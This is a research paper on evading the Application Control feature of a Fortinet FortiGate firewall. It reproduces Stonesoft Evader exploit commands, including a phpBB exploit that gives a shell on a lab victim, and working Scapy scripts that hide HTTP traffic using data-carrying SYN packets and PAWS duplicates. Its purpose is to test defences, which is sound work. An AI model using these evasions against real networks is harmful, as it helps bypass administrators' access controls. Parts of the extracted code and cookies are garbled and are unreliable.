Abstract
As many applications migrate to the use of HTTP-based protocols, traditional firewalls have become less effective as an access control. To address this, the firewall industry has adopted a new feature generically referred to in this paper as Application Identification. Over the next decade, it is surmised that administrators will become increasingly dependent on application identification to apply proper access control at their network perimeter. A question that is too rarely asked, though, is how do we know application identification works as advertised? Is it easy to evade? Most of this technology to date is closed-source. This paper aims to answer that question by suggesting and demonstrating possible methods of evasion.
1. Introduction

Firewalls have evolved over the last couple decades from simple packet filters as add-ons to an operating system to the latest application-layer firewalls running their own, sometimes purpose-built operating systems. The premise of firewalls up to the recent decade has been that applications use specific protocols; these protocols operate over defined transport protocols paired with their IANA-assigned or ephemeral port. It can be observed, however, that over the past decade, applications have largely migrated away from proprietary network protocols to widely accepted and standardized protocols such as HTTP and its secured counterpart, HTTPS (Blanchet, 2012) (Labovitz, 2010).

Some speculate that the cause for the migration to HTTP-based protocols is a direct result of tyrannical firewall administrators. Others suggest the explosion of Software-as-a-Service and cloud-based services prompted the transition. In any case, it’s likely that the popularity of HTTP and increasing availability of high-speed internet has just as much to do with the transition as any other theory.

The migration of applications to HTTP as a transport protocol presents a problem for the traditional firewall model; simply permitting TCP ports 80 and 443 through a perimeter firewall grants users access to thousands of internet-resident applications (Controlling Web 2.0 Applications, 2011). Technologies like ActiveX, Silverlight, and Java Applets allow full-fledged desktop applications to run within the browser. The well-established firewall vendors have been recently challenged by unencumbered start-ups with technology some coined as ‘Next Generation Firewall’ (Pescatore, J., Young, G., 2012). Despite the aggressive marketing of the ‘Next Generation’ terminology, the information security community does not consider these firewalls to be of another generation; rather, an evolution or maturation of the application-layer inspection of third-generation firewalls.

Like any new security technology, implementations typically get better over time with testing and research. History often repeats itself; new developers repeat the mistakes of their predecessors, re-introducing flaws into new technology that had long been considered patched (Chess & West, 2007). Application identification to this depth
and complexity is in its infancy, and for that very reason is largely untested and likely to be flawed. The goal of this research paper is to suggest possible methods of application identification evasion, and to test some of those methods and observe the results.

2. Application Identification Evasion

2.1. Firewall Evasion Primer

Firewall evasion is not a new concept. Since the introduction of packet filters, researchers have been developing and suggesting methods of evasion. Well-known examples include fragmentation-based attacks, payload obfuscation, and unusual combinations of TCP flags (Ptacek and Newsham, 1998). Evasion techniques are made possible by protocol implementations that include misinterpretations, intentional or non-intentional violations, or lack of specific RFC guidance resulting in variations in behavior across platforms.

In many cases, evasion attempts typically concentrate on a single technique, such as fragmentation-based attacks. In this paper, we will attempt to evade the Application Control feature of a Fortinet FortiGate firewall using single and combined evasion techniques from layers three, four and seven of the OSI reference model. A combination of tools including Evader, Wireshark, TCPDump, and Scapy will be used to create evasion attempts and analyze the results.

2.2. Stonesoft Evader

It would be wise to automate wherever possible. Many tools exist for testing a single evasion technique; in some cases, just a handful of evasion techniques. NMap, for example, provides for testing of some basic evasion techniques such as fragmentation-based attacks, IP Options manipulation, and even firewalking through the NMap Scripting Engine. However, a tool exists for launching a wealth of know evasion techniques against a target. That tool is Evader; developed and released by Stonesoft. Evader allows the user to cherry-pick from a number of evasion techniques from layers three, four and seven of the OSI model. The goal is to find evasion techniques that will allow us to circumvent the Application Control feature of a Fortinet Fortigate firewall.

William McGlasson, william.mcglasson@gmail.com
A lab was set up using the instructions in the Evader User’s Guide from Stonesoft ("Evader User’s Guide,” 2013). For simplicity, the http_phpbb_highlight exploit was used against the built-in Evader victim services. The Fortinet FortiGate unit was configured in a layer 3 routing topology between the Evader attacker and victim machines. Evader version 2013.4.594 was used in testing, along with a Fortinet Fortigate running firmware version 4.0 MR3 Patch 15 and FortiGuard signatures dated between 2013-09-30 and 2013-10-14. A firewall rule was created to allow traffic to flow from the Evader attacker machine to the Evader victim machine with Port Address Translation. Port Address Translation was used as it more closely represents Application Control evasion scenarios. Stateful inspection is enabled by default and, as such, return traffic from the Evader victim is permitted when it matches an existing flow.

In order to test for proper connectivity, ICMP echo requests were sent from the Evader attacker to the Evader victim machine; ICMP echo replies were received, confirming at least layer three connectivity. A request for the web page on the Evader victim was sent from the Evader attacker as per the Evader User’s Guide; this confirmed layer seven connectivity. Tests began with a clean payload sent from the Evader attacker, without any evasion attempts. This simply sends an HTTP GET request for /phpBB2/config.php. In this case, a 200 OK was received from the Evader victim, further demonstrating layer seven connectivity.

```
Info: Running exploit with command "/evader --attack=http_phpbb_highlight --payload=clean --if=eth0 --src_ip=10.1.1.110 --dst_ip=67.135.37.68 --gw=10.1.1.250 --shell_cop --record=/root/evader/webgui /tmp/attack.php "verifytcp=1000"
Info: Using random seed /tmp/MaL93P
Info: HTTP connection 10.1.1.146.160502 -> 67.135.37.68:80
Info: got 200 OK response
0: Success. Finished, download traffic capture and log file
```

Because there are not yet any IPS or Application Control policies assigned to the FortiGate, compromise of the Evader victim using a clean, evasion-less payload ought to test successful. As shown in the following screenshot, compromise with a clean payload was successful. The second screenshot shows the resulting shell, where the ‘ls’ command was executed. In order to simulate as closely as possible a real scenario where Application Control evasion might occur, a public IP address was assigned to our Evader

William McGlasson, william.mcglasson@gmail.com
victim in this test, and is censored in the screenshots shown (Destination IP Address). However, the test would be equally effective against a private IP address.

Next, a custom IPS policy was applied to the FortiGate, as shown in the first screenshot below. To once again ensure a good baseline, clean payloads were sent to the Evader victim. A 200 OK response was received. In the continued interest of securing a good baseline, the exploit payload was sent to the victim machine without the use of any evasion techniques. This attack was successfully blocked by the FortiGate as the second screenshot indicates.

William McGlasson, william.mcglasson@gmail.com
The goal is to find a handful of evasions or combinations of evasions that can be used to bypass the Application Control feature of the FortiGate in later testing. While it’s possible to continue testing manually, Evader has a feature for automating the testing of multiple combinations of evasion techniques. The Mongbat feature allows the user to provide parameters on the number of evasions to test at one time, the total run time, the number of workers, and different modes of attack. By default, Mongbat chooses evasion techniques at random. After putting Mongbat through a handful of runs, many standalone and combined evasion techniques were found to be effective in evading the IPS policy of the FortiGate. These techniques were repeated to ensure successful compromise of the Evader victim, and are shown below using language directly from the Evader tool. The ‘+’ character is used to show where evasions were successful only when paired with others; by themselves, the evasions were tested to be ineffective.

William McGlasson, william.mcglasson@gmail.com
• **Send payload in TCP handshakes SYN packet** (Evader Option: --evasion=tcp_synwithpayload)

• **HTTP requests are sent with an empty string as HTTP method** (Evader Option: --evasion=[http_connect,end]http_request_method,"empty")

• **75% probability to send a duplicate TCP packet with an old timestamp destined for PAWS elimination. The duplicate packet has a timestamp <normal - 6> and has random alphanumeric bytes as payload** (Evader Option: --evasion=tcp_paws,"75%","6","random_alphanum")

• **HTTP requests are sent with USER as HTTP method** (Evader Option: --evasion=http_request_method,"user") + **Exploit Payload Obfuscation** (Evader Option: --extra=obfuscate=true)

• **HTTP request URLs are converted to absolute URLs. <random_string>://<long random_string> is prepended to the URL.** (Evader Option: --evasion=[http_connect,end]http_url_absolute,"normal_random","normal_https") + **Exploit Payload Obfuscation** (Evader Option: --extra=obfuscate=true)

Many other combinations of evasions were found to be equally effective but, for the sake of brevity, are excluded here. The goal is to be able to apply one or more of these evasion techniques to the FortiGate Application Control policies and test for effectiveness.

### 2.3. Putting FortiGate Application Control to the test

Before attempting to apply the FortiGate IPS Policy evasion techniques to Application Control policies, a basic understanding of the underlying mechanics behind at least one of the evasions will help define the proper tool(s) needed to recreate this evasion. The first evasion technique that was mentioned, “Send payload in TCP
handshakes SYN packet”, seems self-explanatory. A deeper dive shows that it’s more complex than it may appear on the surface. The Evader tool provides us with a packet capture of the traffic that was sent and received. By reading in the packet capture file with tcpdump using the “-r” option, we get a basic sense of the transaction, starting with the three-way TCP handshake:

```
13:44:00.296096 IP 10.1.1.146.58440 > 192.168.1.1.http: S
1616031611:1616033059(1448) win 65535 <nop,nop,timestamp
1725055279 0>
13:44:00.299509 IP 192.168.1.1.http > 10.1.1.146.58440: S
3462227197:3462227197(0) ack 1616031612 win 14480 <mss
1460,nop,nop,timestamp 2371036 1725055279>
ack 1 win 65535 <nop,nop,timestamp 1725055282 2371036>
```

In the first packet, only the SYN TCP flag is set, indicating the start of a TCP session. In parentheses, the number 1448 indicates that 1448 bytes of TCP payload are included in the packet. While sending data on the initial SYN is considered unusual, it is not in violation of standards. Section 3.4 of RFC 793, Transmission Control Protocol, states:

“Several examples of connection initiation follow. Although these examples do not show connection synchronization using data-carrying segments, this is perfectly legitimate, so long as the receiving TCP doesn’t deliver the data to the user until it is clear the data is valid (i.e., the data must be buffered at the receiver until the connection reaches the ESTABLISHED state).” (“Transmission Control Protocol”, 1981)

It would seem the FortiGate agrees, and allows the packet to be forwarded; the anticipated SYN/ACK packet is received in response. Worth noting is the unusual acknowledgement number in the SYN/ACK packet. Had the Evader victim accepted the payload included with the SYN packet, the acknowledgement number would be 1616033060 (Initial Sequence Number (1616031611) + Acknowledgement of SYN Flag (1) + Payload (1448)). Finally, in the ACK packet, although not shown in the tcpdump
output, the Evader attacker insists on accepting the payload sent with the initial SYN packet by setting the sequence number to 1616033060. The next couple packets show how the Evader victim responds:

```
13:44:00.299868 IP 10.1.1.146.58440 > 192.168.1.1.http: P
1449:1837(388) ack 1 win 65535 <nop,nop,timestamp
1725055283 2371036>
ack 1 win 14480 <nop,nop,timestamp 2371037 1725055279>
```

In the first packet, the Evader attacker sends the second half of the payload (338 bytes), and sets the PSH TCP flag, indicating that the Evader victim should process the data sent so far and push it up the stack to the application for processing. Interestingly, the Evader victim responds with an acknowledgement number of 1, indicating that it is still waiting for the first byte of payload. So far, the Evader victim has not accepted (acknowledged) any of the payloads sent. The Evader attacker tries sending the initial payload again, this time with both the SYN and ACK flags set:

```
13:44:00.800922 IP 10.1.1.146.58440 > 192.168.1.1.http: S
1616031611:1616033059(1448) ack 3462227198 win 65535
<nop,nop,timestamp 1725055796 2371037>
13:44:00.801096 IP 10.1.1.146.58440 > 192.168.1.1.http: P
1449:1837(388) ack 1 win 65535 <nop,nop,timestamp
1725055796 2371037>
ack 1837 win 17376 <nop,nop,timestamp 2371162 1725055796>
ack 1837 win 17376 <nop,nop,timestamp 2371162 1725055796>
```

In the second packet, the Evader attacker sends the second half of the payload with only the ACK flag set. In the third and fourth packets, you can see that the Evader

William McGlasson, william.mcglasson@gmail.com
victim finally accepts the payloads. At this point, the entire exploit has evaded the IPS policy of the FortiGate and executed on the victim, providing shell access on the port of choice.

2.4. Applying IPS Evasion Techniques to FortiGate Application Control

With an understanding of the mechanics behind the “Send payload in TCP handshakes SYN packet” evasion used in testing with Evader, the next step is to attempt to apply this evasion to FortiGate Application Control policies. The Application Control feature of Fortinet FortiGate firewalls identifies nearly three thousand applications. The list of applications are organized into such categories as Web, Email, Social Networking, Media, Games, Botnet, Proxy, etc. Depending on the category, reasons for controlling an application vary. With websites like YouTube in the Media category, excessive bandwidth usage may be an issue for a network administrator; in the Botnet category, there is a real threat to network security in the form of backdoor access or data compromise; in the case of the Proxy or Social Networking categories, there may be a concern for productivity loss or data leaks. Reasons for application control abound. Therefore, one can infer that reasons for evasion of Application Control are plenty.

One of the applications found in the Social Networking category is Yahoo Answers. This application signature will be used in the FortiGate Application Control policy; the ability to receive responses from this application will dictate success or failure of the evasion attempts. Creating a TCP conversation such as the one analyzed earlier is not a simple task. Evader uses a custom TCP/IP stack to reliably create the unusual evasions it’s capable of. Not many tools exist for creating and manipulating an entire TCP conversation. However, one such tool does provide a great degree of packet crafting and interaction, and is likely our best chance of recreating this interaction; that tool is Scapy.

Scapy is an interactive packet manipulation program. It allows you to build your own packets from scratch, transmit them on the wire, and capture the results. The manipulation capabilities of Scapy are impressive. As such, Scapy will be used to build evasions and test against the Application Control of the FortiGate firewall. The virtual
machine version of Backtrack Linux 5.0 R3 comes packaged with Scapy 2.0.1, and will serve as the platform for testing. As with the Evader attacker, the Backtrack virtual machine is configured to go through the FortiGate firewall in a layer 3 routing topology, out to the internet.

Again, to ensure a proper baseline, it was confirmed that the Backtrack virtual machine is able to browse to http://answers.yahoo.com/ on the internet. Because there are not yet any Application Control policies applied to the FortiGate, navigation to the site was successful. Additionally, the FortiGate traffic log shows evidence of the traffic passing through the unit.

William McGlasson, william.mcglasson@gmail.com
Next, a custom Application Control policy is created. Within this policy, the Yahoo Answers signature is set to ‘Block’, as shown in the screenshot below. Next, the policy is applied to traffic flowing from our Backtrack VM to the internet. Once the policy is applied, attempts to navigate to http://answers.yahoo.com/ are effectively blocked by the FortiGate Application Control policy.

With an effective baseline, Scapy can be used to build the evasion attempt. Using knowledge from the dissection of the “Send payload in TCP handshakes SYN packet” evasion packet capture earlier, combined with a packet capture taken during a simple HTTP request for http://answers.yahoo.com/ in Firefox, packets are crafted using the following Scapy syntax (Maxwell 2012) (Biondi, Scapy community, 2010):

```python
packet1=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80)/"GET / HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\n\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)\r\nAccept-Encoding: gzip, deflate, peerdist;\r\nHost: answers.yahoo.com\r\nDNT: 1\r\nConnection: Keep-Alive\r\nCookie: ywadp1000198838279=3180564201;
fpc1000198838279=Zej4Gmdh|f9RDJ0Naa|f5ses1000198838279|=|Fpo\r\nIH|Naa|Zej4Gmdh|fvis1000198838279|=|tMo8HYOo1ls|tMo8HYOo1ls|tMo8HYOo1ls|tMo8HYOo1ls|tMo8HYOo1lsǀtMo8HYOo1ls|tMo8HYOo1ls|tMo8HYOo1ls|tMo8HYOo1ls;
gwzmd2VvIn0;\n\nanswers3=eyJkIjoibm9uZSI=InYiOiJhMyIsImhOIjoicmVjZw50IiwiaG\nYiOiJbiIsImNOIjoiB3blbiIsImNmIjoiZ4iLCJjcyI6Im5ldyIsImFOI\joiyw5z2VvIn0;\nB=1tj2t79374vr&b=4d=9_ciHv9pYEIAgObiFWW4QC958fub7kuotTPrY\nQ--&s=6m&i=9x4Bj5wykiGbQkhfU0T; ucs=nbas=0; AO=0=0&dnt=1;\nF=a=nuakS0vSc6ZvnytvwryjtuwFIZknYP9iYvyatyvb.Bpmd_0d37_f\nt6F21504Q5iPks--&b=213H;\nY=v=1&n=Oov87at22jlm7&l=mc26boi/o&p=m2j2v66d13000400&jb=21\n|58&b=3&lg=en-US|intl=us; C=mg=1; YLS=v=1&p=1&n=1;\nPH=fn=ZvpRyv2-connected; YAKTPDaf0kg--&l=en-US&i=us;\nT=2=YeXoQSbyFVSBG0lp138u2M0NjE3MAy1njcyTjmOMDVOa&=4EE&sk=DA\nAp7hs1AMSSkg&ks=EEAaH.yxs.xbIZ613ja_Rmuwv--\n~E6d=c2WBTvR2o533Rx1NVEExr1Rek56STUbYQe0RUUBZwFLUUNTN1dBWF\nE1VkdGRVXU03VeH UXOdvVQFzY2IkkAwm1bERXcv9Nc1N4aktjODz1dVpiN\nwpVa3lhus0BAYMWBQUNwr2Q4M1kbBzBwLcwLQF0aXABUDMyOXhDAXNjAXds\nAXp6AV1YzVFTQkE3RQ--;
```

William McGlasson, william.mcglasson@gmail.com
Testing Application Identification Features of Firewalls

William McGlasson, william.mcglasson@gmail.com

ypcdb=e8cc7a825a41ee52627a8854c7ac6b2b\nx-P2P-PeerDist: Version=1.1\nx-P2P-PeerDistEx: MinContentInformation=1.0,
MaxCont"

answer1=sr1(packet1)

src_ack=answer1.seq + 1

packet2=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="A",seq=1381,ack=src_ack))

send(packet2)

packet3=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="PA",seq=1381,ack=src_ack)/"entInformation=2.0\n\n"

send(packet3)

packet4=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="SA",seq=0,ack=src_ack)/"GET / HTTP/1.1\n\nAccept: text/html, application/xhtml+xml, */*
\nAccept-Language: en-US\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)\n\nAccept-Encoding: gzip, deflate, peerdist\n\nHost: answers.yahoo.com\n\nDNT: 1\n\nConnection: Keep-Alive\n\nCookie: ywadp1000198838279=3180564201; fpc1000198838279=Zej4Gmdh|fsRDQjoNaa|fses1000198838279=|Fpo\nIHlNaa|Zej4Gmdh|fvis1000198838279=|8Mo8HYo01s|8Mo8HYo01s|8 Mo8HYo01s|s|8Mo8HYo01s|8Mo8HYo01s;\nanswers3=eyJkIjoibm9uZSIiLSJiOiJhMyIsImh0IjoycmVjZW50Iiwib3BlbiIsImN0IjoiZW4iLCJjcyI6Im5ldyIsImF0IjoiYW5zd2VyIn0=; B=lt2t719374vr&b=4&d=9_ciHv9pYEIAg0BiFwW4QC95Bfub7ku0TFPrYQ--&s=6m&i=9x4b5wykiGbQkhfuJOT; ucs=bnas=0; AO=o=0&dnt=1; F=a=nfUakS0MvSc6ZvnytywryjtuwfIZkny99ifVvaytvyv.Bpmd_0d37_ ft6F211504Q5ipks-=&b=213H; Y=v=1&n=0ov87at22j7m7&l=mc26b0ii/o/p=m2j2v66d13000400&jb=21|58|&r=b3&lg=en-US&intl=us; C=mg=1; YLS=v=1&p=1&n=1;

William McGlasson, william.mcglasson@gmail.com
The variable “packet1” is used to hold the first packet; “answer1” is used to hold the received SYN/ACK packet; “packet2” the second packet, and so on. The first packet (packet1) is the initial TCP SYN, along with 1380 bytes of payload. The first answer (answer1) will be the SYN/ACK from answers.yahoo.com. The second packet (packet2) is the ACK packet. The third packet (packet3) is the second half of the payload with the addition of the PSH flag set. Lastly, the fourth packet (packet4) is a re-transmission of the initial 1380 bytes of payload with the SYN flag set.

The sr1() function of Scapy is used to capture the returning SYN/ACK packet from answers.yahoo.com in the variable “answer1”. The intention here is to capture the Initial Sequence Number from the SYN/ACK packet in order to generate the acknowledgement number in packets two, three and four. The “src_ack” variable is used for precisely that purpose.

In the continued interest of simulating real-world use cases, the payload in use was generated from an actual browser (Firefox) request to http://answers.yahoo.com/. This is ideal because, like the Evader exploit payload, this payload is too large to fit within the MTU of the network, forcing the payload to be broken out into two separate TCP segments.

Lastly, it’s worth noting that Scapy uses a raw TCP socket, unbeknownst to the Linux kernel. The effect here is that the Linux kernel will send a TCP packet with the RST flag set upon receiving the SYN/ACK packet from answers.yahoo.com. Because this will effectively thwart the evasion attempts, an iptables rule must be created that will

William McGlasson, william.mcglasson@gmail.com
drop outbound packets with the RST flag set (Weber, 2010). In the lab, the following iptables syntax adds the rule to drop the packets desired:

```bash
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.1.1.147 -d 208.71.44.31 -j DROP
```

### 2.5. The Result

Using the custom crafted packets with Scapy, this particular evasion technique was found to be effective against the Application Control policy. The packet capture shows an HTTP 200 OK response from answers.yahoo.com. Following is a screenshot of Wireshark showing the TCP conversation, as well as identical tcpdump output.

```
17:46:51.192187 IP 10.1.1.147.4074 > 208.71.44.31.http: S 0:1380(1380) win 8192
17:46:51.374837 IP 208.71.44.31.http > 10.1.1.147.4074: S 2887690183:2887690183(0) ack 1 win 14600 <mss 1460>
17:46:52.683597 IP 208.71.44.31.http > 10.1.1.147.4074: S 2887690183:2887690183(0) ack 1 win 14600 <mss 1460>
```
17:46:54.683663 IP 208.71.44.31.http > 10.1.1.147.4074: S
2887690183:2887690183(0) ack 1 win 14600 <mss 1460>

17:46:58.885301 IP 208.71.44.31.http > 10.1.1.147.4074: S
2887690183:2887690183(0) ack 1 win 14600 <mss 1460>

17:47:04.637435 IP 10.1.1.147.4074 > 208.71.44.31.http: .
ack 1 win 8192

17:47:19.946943 IP 10.1.1.147.4074 > 208.71.44.31.http: P
1381:1403(22) ack 1 win 8192

ack 1 win 14600

17:47:37.871483 IP 10.1.1.147.4074 > 208.71.44.31.http: S
0:1380(1380) ack 2887690184 win 8192

17:47:37.885621 IP 208.71.44.31.http > 10.1.1.147.4074: .
ack 1403 win 16560

17:47:38.372642 IP 208.71.44.31.http > 10.1.1.147.4074: .
1:537(536) ack 1403 win 16560

17:47:41.373416 IP 208.71.44.31.http > 10.1.1.147.4074: .
1:537(536) ack 1403 win 16560

17:47:47.37304 IP 208.71.44.31.http > 10.1.1.147.4074: .
1:537(536) ack 1403 win 16560

17:47:59.374145 IP 208.71.44.31.http > 10.1.1.147.4074: .
1:537(536) ack 1403 win 16560

1:537(536) ack 1403 win 16560

1:537(536) ack 1403 win 16560
Had the FortiGate effectively blocked the application request, an HTTP 200 OK response from answers.yahoo.com would not have been seen on the Backtrack VM.

Following is a screenshot showing the behavior when the FortiGate effectively blocks the application request:

![Packet Capture Screenshot]

2.6. **Data on the initial SYN**

In reviewing the packet capture details, one might make the argument that the payload sent on the initial SYN is unnecessary, since the destination host doesn’t acknowledge it anyway. Perhaps, simply having the SYN flag set on the first payload packet after the three-way TCP handshake is sufficient to bypass the FortiGate Application Control policy. In testing, it was discovered otherwise. When sending the initial payload after the 3-way TCP handshake was complete, the FortiGate was effective in blocking any payload sent thereafter. A combination of SYN, ACK, and PSH flags were attempted, but found to be ineffective. Attempts were also made to send the two halves of the payload out of order; this was also found to be ineffective. Only in sending the payload in the initial SYN were we able to evade the FortiGate Application Control policy.

William McGlasson, william.mcglasson@gmail.com
2.7. Applying other evasion techniques

As noted in section 2.2, several other evasion techniques were found using Stonesoft Evader that could potentially be applied to evasion of application identification and control. For the sake of brevity, these other techniques are not discussed in detail. However, testing of two other techniques was completed and found to be effective; one in limited capacity.

2.7.1. HTTP requests are sent with an empty string as HTTP method

This technique was found to be effective in bypassing the FortiGate Application Control policy. However, most destination web servers will return an “HTTP 400 Bad Request” response. Only in cases where the destination will accept an HTTP payload without specifying the HTTP method, would this technique be effective. According to section 5 of RFC 2616, Hypertext Transfer Protocol – HTTP/1.1, an HTTP request message must include the method in the first line of the message. Therefore, we can draw the conclusion that this evasion technique will be largely ineffective against HTTP servers which are implemented according to RFC 2616 (Fielding et al., 1999). Although ancillary, it was also found that the HTTP HEAD request method can be used to evade FortiGate Application Control. Because the HEAD request method returns only meta information, it’s application in evasion is limited.

2.7.2. Sending a duplicate TCP packet with an old timestamp destined for PAWS elimination.

This technique was also found to be effective against the FortiGate Application Control policy. As mentioned in section 2.2, the duplicate packet has a TCP timestamp value older than is expected, and is destined to be discarded by the destination host due to Protection Against Wrapped Sequence (PAWS) numbers. The duplicate packet also has a random, alphanumeric payload. Scapy syntax to recreate this evasion technique follows.

```
packet1=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,options=[('Timestamp', (198300247,0))]))
```

William McGlasson, william.mcglasson@gmail.com
Testing Application Identification Features of Firewalls

William McGlasson, william.mcglasson@gmail.com

answer1=sr1(packet1)

src_ack=answer1.seq + 1

src_tsecr=answer1.getlayer("TCP").options[3][1][0]

packet2=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="A",options=[('Timestamp',
(198300244,src_tsecr))],seq=1,ack=src_ack))

send(packet2)

send(packet3)

packet3=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="A",options=[('Timestamp',
(198300250,src_tsecr))],seq=1,ack=src_ack))

packet4=(IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="A",options=[('Timestamp',
(198300245,src_tsecr))],seq=1,ack=src_ack)/"e50WwqkhgpbNY54mcOvkwwuOXiLLBy6ujyFZC2ssuss2hcXleWglcySwe6qIkandaGFJFzG97ItO
IUItMscI6qcrER6tu55Sg01ChoihofqFl0we1X4NN09Iof5kt7dxx25H2e
sBNJwM67GppwXXHMKhCcj8HUsB61A9MDkhCZisSdsgkAVtKVnhgfLenyKiv
UYY0Qhehrbgp8d3Pto06Gjsgq8fjllI3xneS0jvqBdtyhxNUpIm6eAz0iiq
rNgLeIxmclKjsJZKo1DJdJSZLisZTyorAWmP4dWV3drsnqkyDPhowyizhB
htdjWJTYcWUJZD51mtftbgr1WloqBhsq9Cl15qZr0N4y1PWznPwO7qeLOGIYo
fG5ndPXrIt8NyjzOmw9Ozi2mT0u56TeoJ3nK0wcr83PB4NSUuY2pc
Z8jwWjejpekeUEKsYRtnKolBuwsWAc0a8m3qmc4Jq2D3zawa1wppbAc3ivoogw
EznIX0iSxuywEsoICkaZCohEeq91NW8WgnToMtyZDF5BIon5J4syNRCr1lK
KfSsR3k6lWIfPrBNXkOrHtKFbS95YoyB4SBUwxmZBCIFRjPCZT6FtcKJ5P
asMFwLR92HhvPuYqB0tzTL0h9mKuLpaSNy4PoOmaf)8kP3qYdOvy37VMLi
Testing Application Identification Features of Firewalls

William McGlasson, william.mcglasson@gmail.com

packet5=((IP(dst="208.71.44.31")/TCP(sport=4074,dport=80,flags="A",options=[('Timestamp', (198300251,src_tsecr))],seq=1,ack=src_ack)/"GET /
HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*
\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)\r\nAccept-Encoding: gzip, deflate, peerdist)\r\nHost: answers.yahoo.com\r\nConnection: Keep-Alive\r\nCookie: ywadp1000198838279=3180564201; fpc1000198838279=Zej4Gmdh|fsRDQJoNaa|fsses1000198838279|=|Fpo
rIHNlaa|Zej4Gmdh|fvis1000198838279|=|8Mo8HY001s|8Mo8HY001s|8 Mo8HY001s|s|8Mo8HY001s|8Mo8HY001s; answers3=eyJkIjoibm9uZSIsInYiOiJhMyIsImh0IjoiSmF1dGluZ3MuNjE4OCIs
ImN0IjoiYm9vcyJ9; F=a=nfUakS0MvSpc6ZVnytywryjtuwf1ZknYP9ifYvatybBpvmd_0d3l
ft6F2115045ipks--&b=213H; Y=v=1&n=0ov87at22jlm7l&mc=26b0ii/o/o=2m2j2v66d13000400&jb=21
|58&r=b3&lg=en-US&int=us; C=mg; 1; YLS=v=1&p=1&n=1;
P=fn=2v8bpy2vJ1YAKTPda0Kg--&l=en-US&i=us; T=z=YYxESBYrFVSBGD1p38sU20NjE3MAY1NjcyTjMOMDVO&o=4EE&sk=DA
Ap7hss1AMSsQsgs=EAAhH.YxS.xbIZ613ja_Rmuw--~E&d=c2wBTVRzd053RXlNVVEEXT1RRek56STUBYEQ0URUBZwFLUUNTN1dBF
E1vkdGRVUXUo3VEhXU0dVVQFzy21kAwM1bERxcv9Nc1N4aktJODZ1dVpIN
3. Motive Behind Evasion of Application Identification

Although it might seem obvious on the surface, one must ask the question, why would someone attempt to evade application identification? Just as bad actors have attempted to evade IDS and IPS systems of the past, evasion of application identification will persist into the future.

William McGlasson, william.mcglasson@gmail.com
3.1. The Employee

Because applications like Facebook, YouTube, Pandora Radio, Netflix, and others will be limited by such technologies, it is likely that software and tools will eventually be developed for the dissenting employee to bypass these controls. A simple internet search for “bypass web filter” returns hundreds of results with suggestions as to the use of proxy services, encryption, or terminating the processes of end-system content-filtering software. Internet censorship by government entities at the national level has only furthered development of technologies for bypassing such controls (Villeneuve, 2006).

3.2. The Software Developer

Software developers have a vested interest in making their applications as user-friendly and accessible as possible. The majority of users do not understand firewalls or ports; when they purchase software, they simply expect it to fulfill its promises. End-users cannot be bothered with port forwarding on their home routers or making requests of their IT department. As such, software developers understand that in the greater population of networks, ports 80 and 443 are permitted outbound; as such, they often design application specifications using these ports to target the greatest degree of compatibility. Some software on the market already intentionally evades firewalls with the intent of providing users with a seamless, connect-anywhere experience. Skype is one such example of software that attempts to appease this mentality (Schmidt, 2006).

3.3. The Threat Agent

Botnets will continue to be a real threat and, like applications, each botnet has its own signature (Lu, Tavallee, Ghorbani, 2009). Over the past decade, we’ve seen a migration of attacks from the perimeter of networks to attacks from within. Because of a focus on perimeter security and a lack of resources allocated to reduction of internal network risk, threat agents changed their strategy, subverting the perimeter entirely. Application identification gives us an opportunity to regain control in this arena. For that
reason, we can expect to see malware developers change their game yet again; perhaps initially with attempts to evade application identification.

The APT presence will continue. While application identification may not outright stop APT, it will at the very least create a stop gap. Application identification creates opportunity to detect APT. As such, we’ll likely see APT change their tactics where outbound application identification is suspected.

4. Conclusion

It’s been demonstrated that application identification and, more specifically, the Application Control feature of the FortiGate firewall is vulnerable to evasion techniques without the proper signatures enabled (see Appendix A). While protection is available to customers that enable it, most will likely opt for the default signature set. Additionally, with FortiOS 5.0 announced less than 13 months ago, many customers are likely still using a version of FortiOS 4.0, where some protection is unavailable (Fortinet Rolls Out New FortiOS 5.0 Operating System, 2012).

Application identification and control will likely become a mainstay of future firewalls, and will become a critical tool for firewall administrators in the quest to secure internal networks. As firewalls toting application identification see greater penetration in the marketplace, we can expect to see a rise in subversion attempts against these controls like those demonstrated here.

5. References


William McGlasson, william.mcglasson@gmail.com

Fielding, R., UC Irvine, Gettys, J., Compaq/W3C, Mogul, J., Compaq, . . . W3C/MIT
http://www.ietf.org/rfc/rfc2616.txt

Fortinet Rolls Out New FortiOS 5 Operating System for Enabling More Security, Control
and Intelligence to Fight Advanced Threats and Secure BYOD Environments
(2012 October). Retrieved from


Communities on Large-Scale Communication Networks. Retrieved from
http://ants.iis.sinica.edu.tw/3BkMJ9lTeWXTSrrvNoKNFDrxRm3zFwRR/27/2009
 _ASIACCS_Automatic%20discovery%20of%20botnet%20communities%20on%
20large-scale%20communication%20networks.pdf

from http://theitgeekchronicles.files.wordpress.com/2012/05/scapyguide1.pdf

Retrieved from
he+Next-Generation+Firewall.pdf

Eluding Network Intrusion Detection. Retrieved from
https://sparrow.ece.cmu.edu/group/731-s08/readings/ptacek-newsham.pdf

http://www.h-online.com/security/features/How-Skype-Co-get-round-firewalls-
747197.html

http://www.ietf.org/rfc/rfc793.txt

William McGlasson, william.mcglasson@gmail.com


**Appendix A: Fortinet Response**

